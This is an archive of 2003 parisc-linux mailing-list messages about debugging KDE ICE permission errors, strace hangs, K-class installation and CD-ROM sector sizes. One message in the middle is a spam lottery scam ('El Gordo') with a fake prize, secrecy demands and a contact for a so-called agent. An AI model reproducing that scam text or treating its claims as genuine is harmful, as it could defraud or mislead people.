Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622981 2070 80.91.229.3 (22 Nov 2014 02:23:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 19:43:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CFAA4840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 19:43:41 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AN1Gl-0001RX-K0; Fri, 21 Nov 2003 02:43:39 +0000
Content-Disposition: inline
In-Reply-To: <20031121005838.GC13007@colo.lackof.org>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20161

On Thu, Nov 20, 2003 at 05:58:38PM -0700, Grant Grundler wrote:
> A few days ago, after an apt-get upgrade, konqueror wouldn't properly
> start anymore. Error output is:
> grundler@debian:~$ konqueror 
> _KDE_IceTransmkdir: Owner of /tmp/.ICE-unix should be set to root
> ICE Connection rejected!

The obvious question ... what're the ownership/permissions on
your /tmp/.ICE-unix?  Mine are:

drwxrwxrwt    2 root     root         4096 Nov  9 18:24 .ICE-unix

Inside it, I have:

srwxrwxrwx    1 willy    willy           0 Nov  9 18:24 578

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:30:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] strace locks up 2.4.22-pa14
Date: Fri, 21 Nov 2003 13:39:49 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <3FB265250000556F@ocpmta2.freegates.net>
References: <20031121005003.GB13007@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622981 2075 80.91.229.3 (22 Nov 2014 02:23:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:01 +0000 (UTC)
To: "Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 05:39:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35BE64840
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Nov 2003 05:39:54 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1ANAZj-0007ZA-00; Fri, 21 Nov 2003 13:39:51 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 21 Nov 2003 13:39:49 +0100
In-Reply-To: <20031121005003.GB13007@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20162

Hi Grant,

I am tring to track a lpr pb on my b2k and so try:
# strace -f /usr/bin/lpr foo.doc

that works;

I read your post and try so now:
# strace -f -o /var/tmp/Strace.doc /usr/bin/lpr foo.doc

and system also hang (same behaviour as) and so I toc it (which seems to
failled ; apparently because of ide-cdrom???)

I took the opportunity to unplug ide-cable's cdrom (to test various).

Then to try to obtain a relevant toc, I re-launch:
# strace -f -o /var/tmp/Strace.doc /usr/bin/lpr foo.doc

This time it works??
Is it the same for you after the reboot?
(sorry, I tried severall time strace but no more means to reproduce)

J.

PS: btw the end of my strace is:
[...]
24801 write(3, "\1lp\n", 4)             = 4
24801 read(3, "\0", 1)                  = 1
24801 close(3)                          = 0
24801 SYS_222(0, 0, 0x1, 0x2f, 0)       = -1 ENOSYS (Function not implemented)
24801 exit(0)                           = ?

And at the same time, at the serial console I got:
+ set -v
+ exec

Have you any advise about what I miss?
>-- Original Message --
>From: Grant Grundler <grundler@parisc-linux.org>
>To: parisc-linux@lists.parisc-linux.org
>Date: Thu, 20 Nov 2003 17:50:03 -0700
>Subject: [parisc-linux] strace locks up 2.4.22-pa14
>
>
>
In trying to debug a problem with dcopserver not starting,
I tried: 
	strace -f -o /tmp/dcop.out dcopserver

This locked up the system. I could still ping the tg3 LAN (interrupts
are enabled?). But Mouse and keyboard stopped responding.
I TOC'd
>the system - but forgot to dump PIM on the way up.
Since it's a graphical console, I don't plan on copying down
all the info.  If anyone wants to see that, please let me know
which registers are of interest (IOAQ, gr02, gr26-23 are obvious).

gran
>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: HP9000-K460,K420,Dx70/2
Date: Fri, 21 Nov 2003 12:47:20 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <20031121124720.GS30485@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie> <20031120190259.GL30485@parcelfarce.linux.theplanet.co.uk> <200311210820.42414.pacman@leovey-szki.sulinet.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622981 2090 80.91.229.3 (22 Nov 2014 02:23:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:01 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: pacman@egon.gyaloglo.hu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 05:47:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 085DA4840
	for <parisc-linux@parisc-linux.org>; Fri, 21 Nov 2003 05:47:25 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1ANAgz-0001KF-7u; Fri, 21 Nov 2003 12:47:21 +0000
Content-Disposition: inline
In-Reply-To: <200311210820.42414.pacman@leovey-szki.sulinet.hu>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20163

Please don't send me personal mail about installation problems; others
are equally capable of answering these questions and they may respond
when I can't.

On Fri, Nov 21, 2003 at 08:20:42AM +0100, Paczk Andrs wrote:
> My company have three HP9000, a K460, a K420, a Dx70/2.
> I have to install Linux (or *BSD) on this machine.
> I probe on K460,K420 becuse the Dx have a fan problem.

As far as I know, BSD does not support the K class.

> I download the debianhppa_NONUS.iso-t and the latest (PA-13) netinst iso from 
> pateam.
> 
> I got an idea: "You need a boot param, if your box have an ncr53c8xx, 
> ncr53c8xx=burst:3..."
> 
> My boxes have ncr53c710, a tried it, but not works, (burst:1..2..3)

That's obsolete advice; the problem was fixed in 2.4.16-pa14.

> the boot fail:
> 
> serial .... with MANY PORTS....
> bla bla
> 
> dump....
> 
> Is anyone who are able to install linux these boxes?

Yes, I and others have successfully installed Linux on these boxes.  It
sounds like you need to interact with IPL and change console=ttyS0 to
console=ttyB0, but you haven't provided enough information for me to
be certain.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:30:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [BUG] dcopserver: ICE Connection rejected!
Date: Fri, 21 Nov 2003 10:33:15 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20031121173315.GA23972@colo.lackof.org>
References: <20031121005838.GC13007@colo.lackof.org> <20031121024339.GR30485@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622982 2122 80.91.229.3 (22 Nov 2014 02:23:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 10:33:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 083944840
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Nov 2003 10:33:20 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id CC6D1298034; Fri, 21 Nov 2003 10:33:15 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 24011-01; Fri, 21 Nov 2003 10:33:15 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3440829800B; Fri, 21 Nov 2003 10:33:15 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031121024339.GR30485@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20164

On Fri, Nov 21, 2003 at 02:43:39AM +0000, Matthew Wilcox wrote:
> The obvious question ... what're the ownership/permissions on
> your /tmp/.ICE-unix?  Mine are:
> 
> drwxrwxrwt    2 root     root         4096 Nov  9 18:24 .ICE-unix

I have tried "chown root /tmp/.ICE-unix" but the default appears
to be:
grundler@debian:~$ ls -ld /tmp/.ICE-unix/
drwxrwxrwx    2 grundler grundler     4096 Nov 20 17:42 /tmp/.ICE-unix//

I set the ownership/permissions to match yours still get the same
error messages back (sans error about ownership).

root@debian:~# ls -ld /tmp/.ICE-unix/
drwxrwxrwt    2 root     root         4096 Nov 20 17:42 /tmp/.ICE-unix/

> Inside it, I have:
> 
> srwxrwxrwx    1 willy    willy           0 Nov  9 18:24 578

ok. I'll at least know when I have it working.

thanks,
grant


From - Thu Nov 08 21:30:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: gordo_sweepsteak@mail15.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CONGRATULATUONS
Date: Fri, 21 Nov 2003 19:21:44 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20031121181634.8496C4840@dsl2.external.hp.com>
Reply-To: gordo_sweepsteak@mail15.external.hp.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;
	charset="US-ASCII"
X-Trace: ger.gmane.org 1416622982 2125 80.91.229.3 (22 Nov 2014 02:23:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 11:16:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from h (29.Red-217-126-225.pooles.rima-tde.net [217.126.225.29])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8496C4840
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Nov 2003 11:16:34 -0700 (MST)
X-Priority: 3
X-Library: Indy 9.0.3-B
X-Mailer: Foxmail
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20165

                                            
                                           EL - GORDO LOTTERY SWEEPSTAKE CO S.L.
                                      C/  GUZMN EL BUENO,137 28003  MADRID - ESPAA
                                                  


FROM  THE DESK  OF   THE    MANAGING   DIRECTOR  
OF  THE   PRICE   AWARD   DEPARTMENT
REF:   BM/7789452384/03. 
BATCH:   621/1423/DPR.

                                                                                                                                                                                       
        
 
                                   REF:   AWARD  NOTIFICATION   NOTICE.

Through this medium we wish to notify you on the release of the result  of the EL-GORDO DE LA PRIMITIVA SPANISH PROGRAM held on the 16th of  November 2003 , should there be any discrepancy of number's and address, please do not hesitate to inform WILLIAMS MARTINEZ. (Lottery Agents)  that entered your mail as one of their dependant clients with reference n BM/7789452384/03 and Batch n 621/1423/DPR

 
In the fifth series from a pool of  75,000,000.00 (SEVENTY FIVE MILLION EURO) in cash among the 26 participating finalist playing 6,000 full tickets. Your ticket n  which is:- 262-08177300-189, serial
 n 99375-0 and the wining n 07-08-12-16-26-46 has been approved for a lump sum payment of 
 625,000.39c(Six hundred and twenty five thousand Euro, thirty-nine cents) in cash credit to file reference n BQ/8366439644/03. Congratulations!!!. 

Due to the mixed up of numbers and addresses, I would advice that you keep this award top secret until your claim has been confirmed and price award paid. This is part of our security protocol to avoid double claiming or unwarranted taking  advantage of the above situation.

Please be advised that your fund have been deposited and insured in our corresponding security company in your favour.  

To begin your claim, please contact your agent Mr. WILLIAMS MARTINEZ the managing director of WILLIAMS MARTINEZ. (Lottery Agents)   on telephone n +34-616-600-857 E-MAIL williamsmartinez11@hotmail.com for the processing and remittance of  your fund.

The deadline for this notice is 28th November  2003 after which funds will be returned to the MINISTERIO  DE     ECONOMIA Y HACIENDA  as  unclaimed. 

Congratulations once again from all the members of our staff and thank you for your interest in EL GORDO LOTTERY SPANISH SWEEPSTAKE CO. S.L. 



Yours  faithfully,

SERGIO ORTEGA  (Managing director)
	

                                                                                             

                                                                                                      EL-GORDO LOTTERY SPANISH SWEEPSTAKE CO. S.L.  REG N B28899434



From - Thu Nov 08 21:30:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [BUG] dcopserver: ICE Connection rejected!
Date: Fri, 21 Nov 2003 13:00:51 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20031121200051.GC23972@colo.lackof.org>
References: <20031121005838.GC13007@colo.lackof.org> <20031121024339.GR30485@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622982 2128 80.91.229.3 (22 Nov 2014 02:23:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 13:00:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2D5C4840
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Nov 2003 13:00:52 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 114F8298038; Fri, 21 Nov 2003 13:00:52 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 25297-03; Fri, 21 Nov 2003 13:00:51 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4F3C429800B; Fri, 21 Nov 2003 13:00:51 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031121024339.GR30485@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20166

On Fri, Nov 21, 2003 at 02:43:39AM +0000, Matthew Wilcox wrote:
> The obvious question ... what're the ownership/permissions on
> your /tmp/.ICE-unix?  Mine are:
> 
> drwxrwxrwt    2 root     root         4096 Nov  9 18:24 .ICE-unix

I checked the ownership/perms on my other c3k that's not been updated
for a while and wne@ by grundler/grundler. Konqueror runs
fine on this box...here are versions on the working box:

Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  konqueror      2.2.2-14       KDE's advanced File Manager, Web Browser and
ii  xbase-clients  4.2.1-12.1     miscellaneous X clients

and on the failing systems I pulled in stuff from
unstable to see if it would resolve the issue (it didn't):
+++-==============-==============-============================================
ii  konqueror      3.1.3-1        KDE's advanced File Manager, Web Browser and
ii  xbase-clients  4.2.1-14       miscellaneous X clients

I suspect some other common component is involved.

grant


From - Thu Nov 08 21:30:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot-up challenges on a 715/75
Date: Fri, 21 Nov 2003 20:23:09 +0000
Lines: 71
Approved: news@gmane.org
Message-ID: <3FBE742D.9010507@tiscali.be>
References: <1e2.13b31f0d.2cebe9ab@aol.com> <Pine.LNX.4.58.0311182035020.17277@brain.fop.ns.ca> <20031119055936.GA17873@colo.lackof.org> <Pine.LNX.4.58.0311190922370.1125@brain.fop.ns.ca> <Pine.LNX.4.58.0311191516500.14247@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622983 2132 80.91.229.3 (22 Nov 2014 02:23:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:03 +0000 (UTC)
Cc: Steve Bromwich <lists@fop.ns.ca>,
	Grant Grundler <grundler@parisc-linux.org>, JjDunnjr@aol.com,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 13:22:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 039714840
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Nov 2003 13:22:56 -0700 (MST)
Original-Received: from [62.235.121.47] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ANHnn-00027T-Rp; Fri, 21 Nov 2003 21:22:51 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <Pine.LNX.4.58.0311191516500.14247@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20167

Hello Max,

M. Grabert wrote:
> On Wed, 19 Nov 2003, Steve Bromwich wrote:
> 
> 
>>On Tue, 18 Nov 2003, Grant Grundler wrote:
>>
>>
>>>On Tue, Nov 18, 2003 at 08:38:00PM -0400, Steve Bromwich wrote:
>>>
>>>>I believe HP machines use a 512 byte sector CD drives (with the standard
>>>>being 2048 byte). I'm not sure off-hand if the TEAC supports 512 byte
>>>>sectors. Your best bet may be to borrow a CD off a Sun machine, if you
>>>>have access to one.
>>>
>>>I'm only aware of HP using 2k sectors for CD-RO.
>>
>>Well, this is just from my own personal experience on a 715/75 (which has
>>now sadly bitten the dust). A google around would tend to support this
>>theory, for example:
>>
>>http://lists.parisc-linux.org/pipermail/parisc-linux/2000-September/009345.html
>>"Last posting to the list was about my SCSI CD-ROM not booting the
>>HP-UX INSTALL CD.  Well, it turns out that NECs are in 2048 byte sector
>>mode whereas HP requires 512 byte mode.  SUNs and SGIs also require 512
>>byte sector mode.  So I just borrowed a SUN external CD-ROM..."
>>
>>
>>>I've never heard of 512 byte sectors in a CD Drive.
>>>Is that a feature unique to CD-RW?
>>
>>It's the standard for Sun boxes (at least, on all my Sparcstations). This
>>of course means I don't have any SCSI 2048 byte CD drives to verify my
>>statement! If anyone else would like to verify it I'd be interested, and I
>>suppose it might not be a bad idea to add it to the FAQ if true as I'm
>>sure it'll bite someone else down the road.
> 
> 
> I have several risc boxes (SGI O2, Alpha AS500, Dec 5000, Sun SS20s and HPs),
> all of them use 512bytes/sector. I'm actually not aware of any non-intel
> platform that uses 2048bytes/sector for SCSI CD-drives.
> 
hmm excepted HP (trust me, when I build a custom cd with Ignite to 
upgrade our ws (about 80 of various model: 712, b132, b180 & c110) from 
10.01 to 10.20, I have to take care of this detail to build the basic fs)

> I once ran into the problem that I couldn't boot from CD using an old Sun
> SPARCstationLX, since the SCSI CD-drive was set to 2048bytes/sector.
> 
> Most SCSI-CD drives have a switch/jumper to select the default
> bytes/sector (ie. 512 or 2048). Most 'newer' drives support to be switched
> to either mode via software. 'Newer' meaning less than 8 years old.
> 
> However old workstations (like the old SPARCstation I presume) don't
> support to switch the SCSI-CD-drive to the 512 mode, so you HAVE to set
> the jumper on the back of the drive.
> 
> I doubt you'll find any SCSI CD-drives on the market (second hand or new)
> that are so old that they support only one of these modes. I bought a
> TEAC CD-writer and a Pioneer CD-drive in a ordinary PC shop about 6 years
> ago, and they support both modes (and I even couldn't find any that couldn't).
> They work with all SCSI machines I have.
> 
> 
Thanks for those all info (well I don't have to manage a so wide range 
of ws supplier) but I ignored this before ;)

Joel



From - Thu Nov 08 21:30:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: JjDunnjr@aol.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot-up challenges on a 715/75
Date: Fri, 21 Nov 2003 15:45:02 EST
Lines: 53
Approved: news@gmane.org
Message-ID: <171.26ba943e.2cefd34e@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_171.26ba943e.2cefd34e_boundary"
X-Trace: ger.gmane.org 1416622983 2136 80.91.229.3 (22 Nov 2014 02:23:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
